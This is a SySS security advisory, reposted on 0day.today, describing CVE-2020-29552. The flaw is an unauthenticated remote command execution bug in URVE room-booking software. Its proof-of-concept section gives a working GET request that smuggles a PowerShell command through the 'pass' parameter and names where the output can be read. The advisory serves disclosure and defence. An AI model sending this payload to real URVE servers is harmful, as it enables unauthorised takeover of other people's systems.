URVE Software Build 24.03.2020 Authentication Bypass / Remote Code Execution Vulnerabilities--
Kod:
URVE Software Build 24.03.2020 Authentication Bypass / Remote Code Execution Vulnerabilities
Product: URVE Software
Manufacturer: Eveo Sp. z o.o.
Affected Version(s): Build "24.03.2020"
Tested Version(s): Build "24.03.2020"
Vulnerability Type: Missing Authentication for Critical Function
(CWE-306)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2020-11-10
Solution Date: 2020-11-18
Public Disclosure: 2020-12-23
CVE Reference: CVE-2020-29552
Authors of Advisory: Erik Steltzner, SySS GmbH
Christoph Ritter, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
URVE is a system for reserving rooms which also provides a web interface
with event scheduler.
The manufacturer describes the product as follows (see [1] and [2]):
'Booking rooms on touchscreen and easy integration with MS Exchange,
Lotus, Office 365, Google Calendar and other systems.
Great looking schedules right at the door.
Fight conference room theft with our 10" touchscreen wall-mounted
panel.'
'Manage displays, edit playlists and HTML5 content easily.
Our server can be installed on any Windows and works smoothly from
web browser.'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
With a manipulated GET request, it is possible to execute unauthenticated
system commands.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
Using the following request, it is possible to execute a PowerShell
command.
_internal/pc/vpro.php?mac=0&ip=0&operation=0&usr=0&pass=0%3bpowershell+-c+
"whoami+>+C%3a\URVE\Profiles\urve\uploads\out"
The following path contains the output of the previously executed command.
/urve/uploads/out
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
The passed GET parameters should be escaped.
# 0day.today [2021-01-02] #